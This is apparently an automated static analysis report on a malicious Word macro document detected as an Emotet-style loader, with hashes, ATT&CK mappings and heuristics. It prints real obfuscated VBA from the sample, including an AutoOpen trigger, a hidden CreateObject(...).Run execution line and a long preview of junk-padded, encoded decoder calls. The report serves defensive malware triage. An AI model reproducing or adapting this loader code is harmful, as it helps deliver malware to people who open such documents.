Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f582dbdc93373747…

MALICIOUS

Office (OLE)

225.5 KB Created: 2018-03-21 21:36:00 Authoring application: Microsoft Office Word First seen: 2018-03-30
MD5: 0124cbbe81919fa387dacb5c5198a5e0 SHA-1: 324f1f2a618245f7bbe4cee411d2b564e5e5d178 SHA-256: f582dbdc9337374785c78048b04144141e5a2098bcd45de4f3ab2e293638466f
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Office document containing a VBA macro. The macro is obfuscated but the presence of CreateObject and auto-execution markers like AutoOpen strongly suggest it is designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further supports this, indicating a known malware loader.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Select
CreateObject(wjlilELrdTku).Run fLzTEzW + Chr(VBA.vbKeyC) + WsncJlwPZNdaTV + dLTBcb + IotYVw, vbHide
Select Case zMwZRO
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "jnXCUjNMzEjn"
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 72672 bytes
SHA-256: 2be2943d56139176afe4f824b689ad48385ead0caeed66f9913966df67e2e191
Detection
ClamAV: No threats found
Obfuscation or payload: likely
755 of 1210 identifiers look randomly generated (e.g. 'GwAIGA2AAOAEDAiBgZAIDAiBQOAkDAiBwNAEDAjB') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MNdXwwFZJ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "vwtpZmGiPZzL"
Function hGWMdBcs()
On Error Resume Next
Select Case QjCaw
         Case 6409
            rYlwU = jcKGN
            FDsEm = RZNjLJ
            wVVHzj = Cos(55036 * CBool(58598))
         Case 81359
            miGvY = 22785
            UwvoR = Fix(96730)
            bQshd = Oct(84959)
End Select
LCozt = wmkwjY("MD@QQdzAhBgMAQDA5AQOAIGA1AQYAMDA4AgYAYDAwAQOAMDAyAQZAQGAiBQOAEDAmBwMAYDA2AQMAgDA3AQZAIGAkBQOAUDA4AAOAMDAG", 2 + 0, 97 + 0)
Select Case NbQXz
         Case 25455
            MZkoP = FafmsN
            PPOufX = jhovAw
            ZCqYZw = Cos(88842 * CBool(15160))
         Case 43880
            zCBSB = 71002
            oPusz = Fix(24599)
            scPof = Oct(71993)
End Select
Select Case omlOWW
         Case 64207
            Rqwvuh = KXNivd
            zTrGw = tWnrI
            OwQzTh = Cos(761 * CBool(50918))
         Case 32313
            hCkZzX = 40797
            KFWio = Fix(33479)
            QXIzu = Oct(5509)
End Select
iSpZzZKWp = wmkwjY("JvhNAQGAlBgZAkDAiBgZAEDAlBQYAIDAyAQNAQGA0AANAMDA1AAMAEDAkBANAIGA5AQNAkDAlBQYAUGA5AwNAYDA3AQNAIDA5AANAkDAwAQMAEGA1AwYAADA1AgMAMDA5AwYAMGA5AANAEGAjBwMAMDAxAwNAkDA2AQNAcDAkB8XD", 4 + 0, 167 + 0)
Select Case nLSpt
         Case 46785
            AvCtRm = WYbWAi
            CLkIzc = JsbVd
            PYGIdw = Cos(22503 * CBool(19871))
         Case 19826
            kXfhu = 98163
            cuUakA = Fix(65545)
            uvpqDb = Oct(46439)
End Select
Select Case zPlMzm
         Case 30328
            fIBqoP = PEJMX
            WZnwAG = ttaMS
            uMKSN = Cos(15790 * CBool(17682))
         Case 5054
            BBKOW = 63436
            zqbpq = Fix(52692)
            wQwjFw = Oct(72095)
End Select
BinbjrCDOik = wmkwjY("qql%%kBANAcDAxAQOAUGAmBQMAQGAhBgNAYDA3AQZAIGA3AANAQGAhBAMAMDAyAQNAQDAhBAMAYGAwAwMAQGAjBgMAEGAlBgfHE7", 5 + 0, 91 + 0)
Select Case oYmUEF
         Case 72987
            EOkJYl = mkdUwj
            dKSVLC = bEEaS
            mcBcT = Cos(22650 * CBool(90787))
         Case 44701
            GRSNiK = 92328
            dpzEvb = Fix(3874)
            tjfcKf = Oct(67754)
End Select
Select Case tFSCz
         Case 62649
            RzcwL = QrwiVk
            YWrdQC = nXHthr
            STdfHR = Cos(61484 * CBool(96685))
         Case 20384
            lzvsjU = 4811
            iPmXO = Fix(80450)
            vkTuqj = Oct(33462)
End Select
UMfnojc = wmkwjY("IhrjmdBgZAIGA3AwYAYGAyAANAUDA3AgMAcDA5AAZAYGAjBgZAMGAxAAZAMDAlBQZAEDAyAwMAcDAxAgYAQDAzAgNAYGA2AgMAIDAzAQYAMGAlBQNAQDA1AQZAEGAyAwNAQDAlBAOAQGA0AQYAQDAkBgMAkDA1AAOAUDA0AAMAIDApjj", 4 + 0, 167 + 0)
Select Case tzXUD
         Case 27013
            uZLKr = GDHDF
            wbwvFn = MhMEUz
            cCvIz = Cos(97507 * CBool(88845))
         Case 30063
            MLDzS = 78862
            LqkzSt = Fix(91145)
            ShKBm = Oct(63789)
End Select
Select Case Amdob
         Case 9626
            Qvzbab = NsIjM
            CSmIFA = HiVOC
            bjsHr = Cos(61000 * CBool(5143))
         Case 36712
            MAnhK = 26988
            NJLChN = Fix(63772)
            Vibtml = Oct(50552)
End Select
pAiMoU = wmkwjY("jVh0DAmBQOAkDAxAwNAgDAyAAZAQDAyAgZAEDAwAgMAADAmBgNAYGA5AQOAEDAkBQZAcDAkBANAUDA4AgMAADAxAgNAQGAzAgYAUDA0AQOAMLE0c", 5 + 0, 104 + 0)
Select Case ZVAUUk
         Case 32462
            KKvGm = YpzVR
            CAYNC = mIEJjU
            RNLKtQ = Cos(55495 * CBool(85102))
         Case 15422
            WSaMAK = 72649
            QUNjZz = Fix(75158)
            bzIzA = Oct(58295)
End Select
Select Case izWSf
         Case 69791
            UabFdQ = GZwwM
            WJAAlo = GQIVO
            GSnwj = Cos(55909 * CBool(87942))
         Case 44686
            JKLjnO = 66344
            CNLHw = Fix(40574)
            VhqQmE = Oct(34754)
End Select
GAjTz = wmkwjY("qIZAEDAlBANAUDAkBgZAEDAwAgYAMGA1AAOAcDA3AQMAYGAkBwYAkDAwAgZAgDAxAwNAcDAmBwYAYDAyAQOAMGAjBQOAcDA3AgYAEGAyAgYAIGAjBwYAYGA4AANAMDAmBAZAQDAlBQOAgDA5AgMAUGAwAANAYGA5AgYAcDAmBwNAADA0AAMAIDAzAwDjoR5G7", 8 + 0, 184 + 0)
Select Case qSKqT
         Case 55168
            VSYhA = pEBFYv
            HCCHz = awmdlk
            EUOcXP = Cos(85033 * CBool(68885))
         Case 85990
            jQVHjd = 79386
            NILzn = Fix(29431)
            sdBTi = Oct(79746)
End Select
Select Case DDPOq
         Case 67142
            Yjjwj = YwSZhs
            jWYnBi = PFhwz
            Mjmioj = Cos(57870 * CBool(78530))
         Case 61214
            rYjYJl = 26010
            miGoj = Fix(60725)
            NIJBTz = Oct(69427)
End Select
MjdzRFqC = wmkwjY("rRBQOAMGAyAgMAUGAiBgNAQGAyAQZAYDAwAgYAADAiBQOAUDAxAAZAADAlBAMAIDAzAgYAQGAkBQZAUDAzAQOAUDAjBAZAUDAmBgYAIGA4AQMAMDAwAwNAgDA2AQZAEDAkBwNAQGAhBgYAADAkBwNAUGA4AgNAIGA4AwYAQDAhA@H Vd", 8 + 0, 167 + 0)
Select Case vbpJk
         Case 71378
            OuAwj = UKPir
            KTjYC = GbYUn
            bHXkw = Cos(38724 * CBool(53136))
         Case 56376
            mQMnkw = 24748
            ztXbha = Fix(64956)
            DmCdJ = Oct(52838)
End Select
Select Case YbqcvW
         Case 98901
            KZaNiQ = KDOvpj
            sPkqz = oAjjRK
            wJqwh = Cos(52533 * CBool(26812))
         Case 81626
            uAwzWD = 52488
            pNDDi = Fix(53306)
            EXWqKt = Oct(88342)
End Select
rsuwHPr = wmkwjY("HPD,zANAMGAhBgZAMDAhBwMAYGAmBgZAUGA3AAMAEGAlBQYAcDAzAgMAIGAyAgYAYDAkBgYAIDA4AgYAQDAwQJlI", 5 + 0, 79 + 0)
Select Case UFwANS
         Case 28519
            SiDVj = BGlYfr
            GHQiw = JEXfwA
            iraDO = Cos(66736 * CBool(51538))
         Case 99066
            ZiGIMV = 31131
            lNCrN = Fix(96312)
            SOaFJu = Oct(96743)
End Select
Select Case TLZZi
         Case 3366
            aMEWQW = NJDvw
            PbrYN = iBKQo
            dkEMt = Cos(43673 * CBool(72965))
         Case 68028
            kcpsN = 69963
            bDbhF = Fix(48208)
            sTBLV = Oct(43931)
End Select
ojAwMiw = wmkwjY("M@PAwvHE,", 5 + 0, 2 + 0)
Select Case QwQGmm
         Case 92866
            QjJPU = wBjzYR
            GoGKE = LtrLQM
            UjZmb = Cos(95952 * CBool(33871))
         Case 51329
            uXpEZt = 34230
            LzFTJ = Fix(14709)
            viGkI = Oct(48484)
End Select
Select Case muMvAV
         Case 42803
            pQKsO = KCDqdQ
            cYHpop = tVsiHb
            JKfwwc = Cos(68027 * CBool(46152))
         Case 74833
            pDuvR = 2584
            bbJJVE = Fix(12132)
            fmRTX = Oct(61910)
End Select
bTiZa = wmkwjY("h%IbAzAAOAcDAlBgYAQGAiBQMAYGAkBwMAIDA2AgNAQGA5AQOAcDA1AgYAYGAiBAOAYGAhGp", 3 + 0, 66 + 0)
Select Case nqBsYu
         Case 62693
            zElmzk = obTBCf
            lnFYk = pSEPp
            PDtZc = Cos(95041 * CBool(89954))
         Case 76823
            FjSGb = 70155
            pzVdGW = Fix(11068)
            mzKQw = Oct(61041)
End Select
Select Case Cnnnv
         Case 53316
            icXVov = uicJkj
            fznZu = sNsAS
            bzwTPz = Cos(1230 * CBool(90651))
         Case 30051
            XuaSii = 35663
            QGitXp = Fix(144)
            AazUj = Oct(44532)
End Select
wuZoL = wmkwjY("vqI2l9tAAOAIDAhBwMAcDA4AgZAEDAjBgNAkDAxAQMAIDAlBwYAQGA2AwMAEDA1AQZAEDAhBgZAgDAlBgZAUDAzAAZAMDAhBANAIDA1AAOj", 2 + 0, 99 + 0)
Select Case IUmwP
         Case 24906
            kozja = wcXJvw
            MzibGT = wazuO
            rSzrk = Cos(5149 * CBool(67323))
         Case 11349
            uvqPG = 30719
            DoZnm = Fix(81543)
            mLrwL = Oct(21726)
End Select
Select Case BIBhA
         Case 88966
            BEAwLG = VwJaUK
            bCJZYh = jZVIFO
            bYDmot = Cos(78254 * CBool(17485))
         Case 982
            IspRuZ = 7768
            kcaFsH = Fix(53149)
            tRffq = Oct(12092)
End Select
bsaGizqMNEw = wmkwjY("ThIqH.AEDAyAwMAIDAjBQOAQDAxAgMAYGAmBgNAADAkBAOAUGAyAQOAEGAhBQOAgDAxAgYAEGAjBAZAIDA2AQOAIGA5AwMAUGK5rm", 5 + 0, 91 + 0)
Select Case stXGnj
         Case 32053
            SChQfs = pzRcUm
            WjvKb = WdVlC
            zXWTQ = Cos(98371 * CBool(37701))
         Case 64895
            DKrvU = 30303
            jNNlFT = Fix(44517)
            KdEQXo = Oct(63256)
End Select
Select Case tZwLCX
         Case 94542
            hczpj = HEWdwA
            HGHLfR = Ertck
            rsJbU = Cos(83641 * CBool(73155))
         Case 49802
            UwTuR = 53163
            PTznt = Fix(72427)
            ozWGi = Oct(36989)
End Select
VGIYQk = wmkwjY("R7PWDMDAhBgZAMGA0AwYAEGAmBwNAEDA0AAMAcDAmBAMAMDA2AQZAMGAhBAZAkDAjBwMAkDAiBQYAIGA0AQMAUGAmBQMAgDA3AQMAgDA2AAZAgDAwAQNAEGAlBwNAEGA5AQOAUDA2AAOAMDA4AQOAQGA2AANAUGAkBf5", 3 + 0, 157 + 0)
Select Case iUFPoO
         Case 90403
            JFOMum = slzmh
            adwWFY = bzkDG
            liNic = Cos(24530 * CBool(53124))
         Case 38925
            uZhrh = 60986
            lHvlN = Fix(15259)
            IsjpaT = Oct(23883)
End Select
Select Case EnfSiY
         Case 47552
            CwjKq = KKBKH
            ZwWzc = bmzFUz
            uHjMH = Cos(72224 * CBool(9200))
         Case 58887
            EXZwYl = 1517
            rVmTQG = Fix(32057)
            puzlSw = Oct(53924)
End Select
ufjISaRliv = wmkwjY("RJOVfDAkBwYAUDA4AQr2", 3 + 0, 13 + 0)
Select Case twAbwu
         Case 48846
            nltwZ = QpmTOw
            zdBSf = rHsWI
            nEclZf = Cos(94650 * CBool(92421))
         Case 69315
            fNSGLi = 14139
            whdbwS = Fix(98101)
            Sciuu = Oct(28561)
End Select
Select Case sMdob
         Case 17437
            wsujZ = iuTMj
            jTlOzn = WnAwwv
            zsNnpr = Cos(73745 * CBool(11280))
         Case 95840
            qvHsGK = 3283
            NOcqG = Fix(95863)
            Abmhwu = Oct(95982)
End Select
IkhXHunwZsL = wmkwjY("Lpz2DDpi", 3 + 0, 1 + 0)
Select Case uTmjjW
         Case 84947
            iWpXD = GQdwoj
            CIlPJp = zYzBs
            NZTdV = Cos(77236 * CBool(41706))
         Case 17365
            URaaUU = 42891
            zGOHs = Fix(20044)
            RXhcF = Oct(10535)
End Select
Select Case hskkJ
         Case 89367
            bIbmv = EUvRqN
            Odfqil = ZYVsCX
            QZtCVw = Cos(14468 * CBool(86051))
         Case 4964
            EwVPm = 16092
            ncuBDN = Fix(88915)
            XBmDn = Oct(68624)
End Select
PktZmzYkW = wmkwjY("51ThIqH7%.8jQZAkDA1AQZAIDA0AQMAYGAkBwYAkDA3AgYAEGA2AAOAUGAiBgZAMGAxAgZAQGA0AwNAIDAlBQMAcDA4AAOAIDA5AQYAQDAxAwYAgDAyAgYAEDl", 2 + 0, 109 + 0)
Select Case XBnvCO
         Case 40373
            aWbRm = PimPWF
            diMMz = wzUpP
            UaUbrG = Cos(68880 * CBool(34880))
         Case 26130
            fcwHS = 15335
            AoQiK = Fix(89156)
            ajCOW = Oct(33604)
End Select
Select Case dGQWV
         Case 16116
            uaJpr = PEiSEX
            hORQYM = itVXM
            ICkUJ = Cos(82543 * CBool(57352))
         Case 92921
            WswOcc = 21128
            jOiTq = Fix(28350)
            zzJHdB = Oct(9847)
End Select
MwPSp = wmkwjY("KI@ruceThIqH-ottRevNOC|'=AwNAYGAkBwNAgDA1AAMAUGAzAQMAgDAkBQZAUGA1AQOAkDAhBgNAMGA1AwNAMDA3AAOAUGAjBgYAUDAkBgMAkDA5AAOAgDA1AAZAcDAjBQMAgDAmBwYAEDAjBgNAYDAlBgMAYDA4AwYAADA2AQMAYGAhBwMAEGAmBwNAE@z,E", 5 + 0, 182 + 0)
Select Case chjMUJ
         Case 16110
            tlzsY = KjYXi
            IdrRnv = LhVSj
            GVhwP = Cos(82317 * CBool(9179))
         Case 52001
            phrWQ = 63105
            ZjFWSi = Fix(98273)
            OYYowf = Oct(45939)
End Select
Select Case rFLLt
         Case 66911
            QGwfJ = VIJZf
            Lnbkn = lnLvLz
            SzkkOZ = Cos(24467 * CBool(67929))
         Case 77671
            aorloz = 48490
            nsBcYP = Fix(40416)
            ZIvOU = Oct(90278)
End Select
IAqiaiiCjr = wmkwjY("ljThIqHAADAzAQMAMDAzAAZAADAyAgNAIGAyAANAYGAzAgYAkDAlBwNAMGAkBANAYDAjBQO8WzIT", 6 + 0, 64 + 0)
Select Case ErQkXv
         Case 99851
            ZWuAw = zwnmAX
            YpYUP = zEnaYf
            muXOBw = Cos(75909 * CBool(50052))
         Case 54538
            iOYbZ = 22634
            bTXrf = Fix(2820)
            QHFzNl = Oct(93707)
End Select
Select Case mVoYb
         Case 63024
            cCNqkK = jJQHtG
            Jpodp = wsvUP
            rfrTd = Cos(71330 * CBool(24745))
         Case 76384
            GjiVR = 90561
            OfwMrG = Fix(56497)
            zumUpk = Oct(13163)
End Select
SZbXq = wmkwjY("jIEANAUDAiBwMAUDA2AANAMDA0AQOAADAxAQMAEDAiBAZAEDAjBQZAUGAhBwYAYGA4AQYAQGA0AgMAIGA4AQYAMDAzAQZAEGA2AwNAEGAlBANAFMB", 4 + 0, 107 + 0)
Select Case acTLoq
         Case 74122
            jTmCG = HXRSd
            WDQkB = Tjwsw
            zqDswj = Cos(82379 * CBool(47439))
         Case 85905
            jXUaZp = 75286
            CWHqW = Fix(45705)
            iJdWD = Oct(46122)
End Select
Select Case jTpqf
         Case 25143
            qXKhOv = YcMHo
            LhAkmV = NiMwjw
            NTEFvW = Cos(21638 * CBool(34561))
         Case 82008
            Abjjjc = 33114
            jKKwTF = Fix(8208)
            jjMKN = Oct(96000)
End Select
QwUkCUbkuW = wmkwjY("rAmAiBgZAcDAjBgMAgDAxAwNAYDAzAQZAMDA3AQNAUDAzAgYAQGAwAANAMDAxAgYAkDAkBgMAMDAkBwNAFpR", 4 + 0, 78 + 0)
Select Case UwFXG
         Case 23530
            WtqIj = mzhCv
            zmQOA = BmmbFj
            DJOjbE = Cos(20208 * CBool(52312))
         Case 33131
            RILVtW = 73939
            JPEwf = Fix(8175)
            EXFZjv = Oct(76654)
End Select
Select Case HpRQb
         Case 54570
            nEpwFX = nIrFV
            EfNTlK = vwpRY
            UIEftE = Cos(88695 * CBool(16418))
         Case 12425
            lZHpdc = 44582
            slkEbb = Fix(96083)
            QPnoPX = Oct(48679)
End Select
FFbRWiipcj = wmkwjY("m iLcDA1AAOAQDAhBgMAUGAxAQNAQDAlBAMAEDA2AQOAEGAwAQMAYDAyAQNAUDAjBQZAUDA2AgYAIGAjBQNAEDAiBQZAUGAmBQYAYDAkBAZAgDAzAAZAQGAxAgNAUDA4AwMAgDA3AAMAYGAwAANAcDA2AwMAMGAlBQZAMGA1AgXj5Hv", 6 + 0, 166 + 0)
Select Case Dzjdw
         Case 976
            czhbti = jSbzZ
            wPjchO = iURiOA
            lfturr = Cos(19059 * CBool(15203))
         Case 13265
            AEAvjU = 26295
            wlXoR = Fix(14215)
            jMzHfz = Oct(25843)
End Select
Select Case FhSkGf
         Case 74213
            MrzMp = dYoHzG
            rpzlq = OlfDEV
            ZwUEhC = Cos(27221 * CBool(81356))
         Case 7448
            ifzndI = 59764
            ZFkOsU = Fix(97384)
            jXahn = Oct(89753)
End Select
YrwciMNZZiC = wmkwjY("v2vu78MAMDAzAAOAADAlBQNAgDA0AgYAgDAhBQZAYGAmBQZAIDAkBwYAEDA1AAMAIGAiBAMAEDAlBQZNN", 3 + 0, 73 + 0)
Select Case qGjEka
         Case 90762
            YnqOGr = lcAHf
            OKDzF = WqQWL
            oIjwDu = Cos(42451 * CBool(58217))
         Case 25427
            aCGsX = 37232
            zjjPac = Fix(91785)
            FfIYBI = Oct(32822)
End Select
Select Case kJrHZ
         Case 85093
            wzkOOi = cXnra
            jXTfbl = wjIFpu
            PtMuW = Cos(56730 * CBool(78881))
         Case 88915
            KdjrF = 71407
            SYjzj = Fix(24229)
            LfnumQ = Oct(83099)
End Select
OMKQSr = wmkwjY("iOqajJAmBAOAEDA0AQZAQGAmBQZAQGAlBANAMDA0AgMAMGA2AwYAIDAwAQOAMGAhBwYAkDA4AQYAMDA4AAZAYGAmBAZAEb", 2 + 0, 87 + 0)
Select Case YUXIjL
         Case 85996
            zIozJ = rtrNS
            hIziDD = OiiCd
            fEOUzB = Cos(4201 * CBool(48635))
         Case 4476
            orMjJn = 87875
            ZwAzQ = Fix(45095)
            FjLdnO = Oct(12514)
End Select
Select Case PzwPz
         Case 54784
            cMWsQ = EAGHDZ
            FWIND = owTppn
            LOhqfL = Cos(17584 * CBool(52173))
         Case 50380
            CdwTWF = 80033
            bqwRs = Fix(79653)
            MMnXJX = Oct(63989)
End Select
rhTiaCtQss = wmkwjY("1nNAEDAmBAZAADAlBwNAQGAzAQZAUGA0AwNAgDA3AQMAgDAhBgNAIDA4AgNAMDA1AQMAUGA4AwNAIDA2AQZAQGA4AAOAMDA5AwMAgDAmBwYAYGAjBAMAIGAzAgZAADA0AANAMDAzAgZAkDAjBwMAgDAyAgNAMGAmBgZAADA0AwNAgDA4AQMAIDA3AANAIDA2Attzdz", 6 + 0, 191 + 0)
Select Case nZpTQ
         Case 53819
            QvfrFj = SSsdd
            zfuVs = TwVDQ
            VZLtj = Cos(74440 * CBool(48954))
         Case 69180
            aClBjA = 15734
            VfftTH = Fix(15020)
            UaJIsv = Oct(84934)
End Select
Select Case wJMLj
         Case 47509
            MtOfDj = stQwbM
            iojDt = ivIlB
            fVUJW = Cos(21478 * CBool(29827))
         Case 30755
            AZmjH = 52419
            KtSTWG = Fix(38202)
            dInLK = Oct(31586)
End Select
MJiWLMNR = wmkwjY("wRgZAUDA5AQOAYGA3AANAQDAwAwNAQGA0AAZAUGAwAANAMGAlBAZAEGA4AQYAIGAmBgMAcDAjBAOAIGAiBQYAUDAxAwNAUDA5AgMAUDAmBgZAEGA2AgZAEDAwAAZAIDAhBgZAEDA0AAMAUDA5AQYAUDAhBwYAcDA0AQNAcDA4AQYAzOvmr", 6 + 0, 171 + 0)
Select Case ciwDVY
         Case 69026
            mMwwiO = TlmolO
            hiZBz = OXEFzP
            IlDGVa = Cos(1435 * CBool(61243))
         Case 14670
            JpGjpC = 47961
            iWKwP = Fix(58204)
            ZDiPH = Oct(82764)
End Select
Select Case zjOoNL
         Case 59035
            SPWXb = DIPuNw
            dRBziJ = czotp
            jnRoww = Cos(29130 * CBool(11763))
         Case 44457
            ACzaiv = 83357
            nnAVR = Fix(25716)
            fBInUb = Oct(54545)
End Select
flrsf = wmkwjY("O,GwAIGA2AAOAEDAiBgZAIDAiBQOAkDAiBwNAEDAjBAZAgDAiBQOAQDAxAwMAUDAkBwYAMGAhBgZAUDA1AwYAEGAyAgYAEGAwAQZAcDAiBgZAMGAlBgMAkDAxAQNAcDrW,D", 5 + 0, 123 + 0)
Select Case AzPraw
         Case 31813
            aGpBul = mjGRGC
            LWDwTv = SCAXV
            cTEQaW = Cos(7636 * CBool(49488))
         Case 28598
            MvtRWH = 26926
            Vfamt = Fix(75343)
            cVdIDp = Oct(56625)
End Select
Select Case wzaVO
         Case 89923
            jUvoH = lsKUXa
            IqEtm = hYMQwc
            ZWSRo = Cos(73210 * CBool(96798))
         Case 47658
            OpRBsk = 51845
            MsvNA = Fix(12807)
            hjVNlT = Oct(6671)
End Select
WFWABSdXqst = wmkwjY("mth p8AQZAUGA1AIp ", 4 + 0, 9 + 0)
Select Case LwOOat
         Case 59830
            ciRbPc = BwzqEG
            wYPXkF = knXLt
            FiVAd = Cos(63286 * CBool(13995))
         Case 37911
            iffFwU = 32182
            dwqiwp = Fix(97823)
            IZUrr = Oct(89686)
End Select
Select Case GdmKKY
         Case 78962
            mqoOF = nMqpvP
            tWJfjL = uchfXs
            WQIjzt = Cos(91263 * CBool(22794))
         Case 5124
            zfZOHs = 13486
            ksNHcf = Fix(59444)
            rOKJI = Oct(82724)
End Select
EjQGhphP = wmkwjY("dPFjGA3AwMAIDAyAAMAMGA5AAZAgDA2AQZAEDAlBANAcDAhBgNAYGAwAQMAkDAiBQZAMGAlBgYAMDAiBAZAkDAyAgYAgDA1AQYAMDA3AQOAIDA0AQNAQGAzAQYAcDAhBAZAgDAyAAMAMDAyAQOAkDA1AQOAQDAmBwNAUDAkBQYAcDA5AwYAcDA3AAZAU%@", 3 + 0, 184 + 0)
Select Case MQwhG
         Case 93174
            qhThi = ljmka
            nAYPnd = lChBt
            GTMzL = Cos(21268 * CBool(1621))
         Case 90183
            Bjnvw = 58639
            HcZjTD = Fix(22764)
            BJDCKT = Oct(18200)
End Select
Select Case ZEbAZ
         Case 44191
            cWklWj = nwwVv
            Afbii = BGDLI
            AszAc = Cos(30053 * CBool(74991))
         Case 5272
            YSpjEZ = 14701
            wRnRE = Fix(15096)
            dsRJVn = Oct(49163)
End Select
tmdEfihUiw = wmkwjY("MvzHO8AADA5AgNAQDA5AAZAQDA4AAOAYGAlBQYAzBR", 4 + 0, 33 + 0)
Select Case baWrW
         Case 76730
            hissb = lCiru
            HuVtvk = Wjzdh
            zHNFii = Cos(71795 * CBool(58866))
         Case 54316
            EYMjjr = 82091
            RazSRG = Fix(64660)
            HQRjjE = Oct(20324)
End Select
Select Case pCtiQ
         Case 20879
            YcbBb = KEILA
            CbdtA = YHWCuZ
            FpOFCh = Cos(3905 * CBool(25291))
         Case 48215
            LUliK = 90746
            smMcQ = Fix(53090)
            IskrD = Oct(87304)
End Select
dGooQuzvftm = wmkwjY("JD2AQNAcDAzAwNAEGAiBzcLM", 5 + 0, 18 + 0)
Select Case iCJVQ
         Case 92993
            FiwJdR = ZPPOM
            KHMQp = CzKwK
            fncSc = Cos(23533 * CBool(87926))
         Case 97753
            mHOSm = 18615
            jcVdro = Fix(22319)
            qtjCtB = Oct(90850)
End Select
Select Case ZFmtI
         Case 45077
            nnajnA = UiiSTm
            dPwktf = iIAVR
            YfAUw = Cos(68581 * CBool(85180))
         Case 36901
            NvRXk = 76384
            BICrfv = Fix(79067)
            JOrTFf = Oct(48920)
End Select
OOuRdOr = wmkwjY("izAwAQOAIGAmBQYAkDA5Kz7p", 5 + 0, 18 + 0)
Select Case VjUpd
         Case 19296
            ktOOC = SWvhr
            sTamc = KLjsZN
            oiwnPw = Cos(25778 * CBool(84122))
         Case 77909
            zQhmp = 81283
            vlOZju = Fix(90766)
            rwSwjr = Oct(40128)
End Select
Select Case lPwfuh
         Case 30490
            FwOMfv = iStzQ
            TAocU = TBQwc
            OwmXa = Cos(68490 * CBool(76536))
         Case 55172
            dkHnuD = 88168
            MFDSZ = Fix(34395)
            KDaOv = Oct(52380)
End Select
UnmOzkUK = wmkwjY("CpDDAjBANAUDA4AwNAQGA5AwMAEGAwAQMAgDAiBgYAEGAhBwYAgDAiBwMAADAkBAOAEDA5AAZAEDA5AQZAYDAiBANAMDAwAQOAADAi i8Op", 6 + 0, 99 + 0)
Select Case AmDRza
         Case 11793
            JKnbpQ = pZQakD
            ZqoiYN = JZjEp
            UjdDTK = Cos(40859 * CBool(92458))
         Case 87174
            zcwcNA = 96479
            qlHMN = Fix(54695)
            BsTAk = Oct(12874)
End Select
Select Case QZIVBD
         Case 79570
            wARbUP = qLrEz
            QfPLZK = aJWKJ
            VuTlI = Cos(77167 * CBool(38134))
         Case 128
            wkcOf = 29009
            wowXJA = Fix(88927)
            KcthUn = Oct(56806)
End Select
ApIdUdro = wmkwjY("zTDAwAANAcDAjBQYAUDA1AwMAgDA1AgZAUGA1AgZAUGAiBgNAQDAlBQOAIGAyAgNAYGAiBAMAEGAlBwNAEDA4AQNAcDAmBAMAQGA5AAMAEDAjBwMAYGAmBgMAMGA3OrEz", 5 + 0, 123 + 0)
Select Case SDuUX
         Case 49714
            QfcDif = KitcMh
            lHVAb = fumfaT
            KLluZW = Cos(10069 * CBool(61960))
         Case 84508
            wLMbRO = 76954
            avsjwZ = Fix(39182)
            wDVtzd = Oct(29825)
End Select
Select Case vKJwPE
         Case 52220
            sLuuZM = EXqEw
            hnRPR = msdwnj
            uilMN = Cos(76247 * CBool(78010))
         Case 9159
            WdftOC = 81499
            OoGpN = Fix(44602)
            jwMowO = Oct(28271)
End Select
Vktqr = wmkwjY("7jpIbMAYGA5AQNAEDAiBwYAQGAwAQYAMDAwAQZAUGAzAQMAQGA2AANAYGAxAANAcDA3AAMAADAhBwNAYDA2AwMAIDA4AAOAQGAhBQYAkDAzAgNAUDA4AwYAgDAyAAZAYGA1AQNAMGAxAgYAMGAjj", 2 + 0, 142 + 0)
Select Case OYRqT
         Case 21767
            QHCoRn = YdkBJi
            ZLjHtd = bAGiH
            QUwLX = Cos(17779 * CBool(71779))
         Case 45856
            mYGEza = 67760
            wFjHo = Fix(24134)
            iZhNpH = Oct(92657)
End Select
Select Case sSskN
         Case 39531
            vNXzlh = bOmob
            ikhKmi = kchEG
            stTpQ = Cos(57159 * CBool(50734))
         Case 74592
            SAaHB = 55923
            pPKqG = Fix(67138)
            liziO = Oct(95639)
End Select
